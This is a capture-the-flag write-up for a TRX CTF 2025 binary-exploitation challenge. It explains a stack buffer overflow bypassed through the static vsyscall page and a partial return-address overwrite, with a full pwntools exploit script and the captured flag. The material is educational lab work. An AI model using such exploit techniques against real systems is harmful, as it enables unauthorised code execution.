Description

Dancing, Walking, Rearranging Furniture

DISCLAIMER: This challenge doesn’t require brute-forcing

Analysis

First, we will need to use checksec to know what security method is applied to this binary

1
[*] '/home/alter/CTFs/2025/TRX_CTF/dist/chall'
2
    Arch:       amd64-64-little
3
    RELRO:      Full RELRO
4
    Stack:      No canary found
5
    NX:         NX enabled
6
    PIE:        PIE enabled
7
    SHSTK:      Enabled
8
    IBT:        Enabled
9
    Stripped:   No

So we can see that the binary has PIE and no Canary, dive into the source code we know that there is a win function which we can let the program return to after finishing the main function

1
#include <stdlib.h>
2
#include <stdio.h>
3
#include <string.h>
4
#include <unistd.h>
5

6
void win() {
7
    printf("IMPOSSIBLE! GRAHHHHHHHHHH\n");
8
    puts(getenv("FLAG"));
9
}
10

11
int main() {
12
    char buf[0x20];
13
    setvbuf(stdin, NULL, _IONBF, 0);
14
    setvbuf(stdout, NULL, _IONBF, 0);
15

16
    puts("You pathetic pwners are worthless without your precious leaks!!!");
17
    read(0, buf, 0x50);
18
}

But the problem here is this binary has PIE, and there is no way for us to ret2win in a manual way, how about Stack Pivot? Still no because the puts function is above read function and there is FULL RELRO so this is impossible to leak the address too. We can think of Partial Overwrite, but this way is still impossible because the main function calls first, and when it returns, it will return to the function that called it (as known as __libc_start_call_main()) to exit.

It feels pretty hopeless because there’s no way to exploit it huh? But once we look carefully we know that there is vsyscall mapping page. The vsyscall partition is only visible when we enable emulate mode for the kernel.

For wsl2 we can reconfigure the .wslconfig file to make it visible to us

1
[wsl2]
2

3
processors=2
4

5
kernelCommandLine = vsyscall=emulate
6

7
[experimental]
8
sparseVhd=true

And for Ubuntu we can use

1
cat /proc/self/maps | grep vsyscall
2
echo 'GRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"' >> /etc/default/grub
3
update-grub
4
reboot

And when we finish and check vmmap again we can see it

By reading this article, we can understand the purpose and functionality of vsyscall and vDSO. In short, vsyscall (virtual system call) is a mechanism in the Linux kernel designed to speed up certain system calls. The kernel maps a special memory page into user space, which contains predefined variables and implementations of specific system calls. One notable characteristic of vsyscall is that its address is static, meaning it is not affected by PIE. And as we can see in __vsyscall_page symbol which is defined in vsyscall_emu_64.S

1
__vsyscall_page:
2
    mov $__NR_gettimeofday, %rax
3
    syscall
4
    ret
5

6
    .balign 1024, 0xcc
7
    mov $__NR_time, %rax
8
    syscall
9
    ret
10

11
    .balign 1024, 0xcc
12
    mov $__NR_getcpu, %rax
13
    syscall
14
    ret

We can see that certain system calls (gettimeofday, time, getcpu) are implemented within the vsyscall page, each containing a ret instruction. The starting address of the vsyscall page is always 0xffffffffff600000, as it remains static. Because of this, glibc knows the exact addresses of all virtual system call handlers. These addresses are defined in the glibc source code as follows:

1
#define VSYSCALL_ADDR_vgettimeofday   0xffffffffff600000
2
#define VSYSCALL_ADDR_vtime           0xffffffffff600400
3
#define VSYSCALL_ADDR_vgetcpu         0xffffffffff600800

All virtual system call requests are handled within the __vsyscall_page, using an offset based on VSYSCALL_ADDR_vsyscall_name. The system call number is placed into the rax register, and then the native syscall instruction for x86_64 is executed.

Exploit Development

So with that information about vsyscall we can easily take advantage of the ret instruction, to let the program return to rsp+0x10 (in case we stopped at main ret)

1
00:0000│ rsp 0x7fffffffdc38 —▸ 0x7ffff7dabd90 (__libc_start_call_main+128) ◂— mov edi, eax
2
01:0008│     0x7fffffffdc40 ◂— 0
3
02:0010│     0x7fffffffdc48 —▸ 0x5555555551da (main) ◂— endbr64
4
03:0018│     0x7fffffffdc50 ◂— 0x1ffffdd30
5
04:0020│     0x7fffffffdc58 —▸ 0x7fffffffdd48 —▸ 0x7fffffffdfd1 ◂— '/home/alter/CTFs/2025/TRX_CTF/dist/chall'
6
05:0028│     0x7fffffffdc60 ◂— 0
7
06:0030│     0x7fffffffdc68 ◂— 0xacb58eb5d2e91dc3
8
07:0038│     0x7fffffffdc70 —▸ 0x7fffffffdd48 —▸ 0x7fffffffdfd1 ◂— '/home/alter/CTFs/2025/TRX_CTF/dist/chall'

So our exploit will look like this:

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4

5
context.log_level = 'debug'
6
exe = context.binary = ELF('./chall', checksec=False)
7
libc = exe.libc
8

9
def start(argv=[], *a, **kw):
10
    if args.GDB:
11
        return gdb.debug([exe.path] + argv, gdbscript='''
12

13
        b*main+109
14
        c
15
        '''.format(**locals()), *a, **kw, env={"FLAG": r"TRX{example_flag}"})
16
    elif args.REMOTE:
17
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
18
    else:
19
        return process([exe.path] + argv, *a, **kw, env={"FLAG": r"TRX{example_flag}"})
20

21
p = start()
22

23
# ==================== EXPLOIT ====================
24

25
'''
26
0xffffffffff600000 0xffffffffff601000 r-xp     1000      0 [vsyscall]
27

28
0xffffffffff600000               mov    rax, 0x60     RAX => 0x60
29
0xffffffffff600007               syscall
30
0xffffffffff600009               ret
31
'''
32

33
def exploit():
34

35

36
  offset = 40
37
  vsyscall = 0xffffffffff600000
38

39
  payload = b'A' * offset
40
  payload += p64(vsyscall) * 2
41
  payload += p8(0xa9)
42

43
  s(payload)
44

45
  interactive()
46

47
if __name__ == '__main__':
48
  exploit()

Get flag

1
alter ^ Sol in ~/CTFs/2025/TRX_CTF/dist
2
$ ./xpl.py REMOTE virtual.ctf.theromanxpl0.it 7011
3
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
4
    Arch:       amd64-64-little
5
    RELRO:      Partial RELRO
6
    Stack:      Canary found
7
    NX:         NX enabled
8
    PIE:        PIE enabled
9
    SHSTK:      Enabled
10
    IBT:        Enabled
11
[+] Opening connection to virtual.ctf.theromanxpl0.it on port 7011: Done
12
[*] Switching to interactive mode
13
You pathetic pwners are worthless without your precious leaks!!!
14
IMPOSSIBLE! GRAHHHHHHHHHH
15
TRX{1_h0p3_y0u_d1dn7_bru73f0rc3_dc85efe0}
16
[*] Got EOF while reading in interactive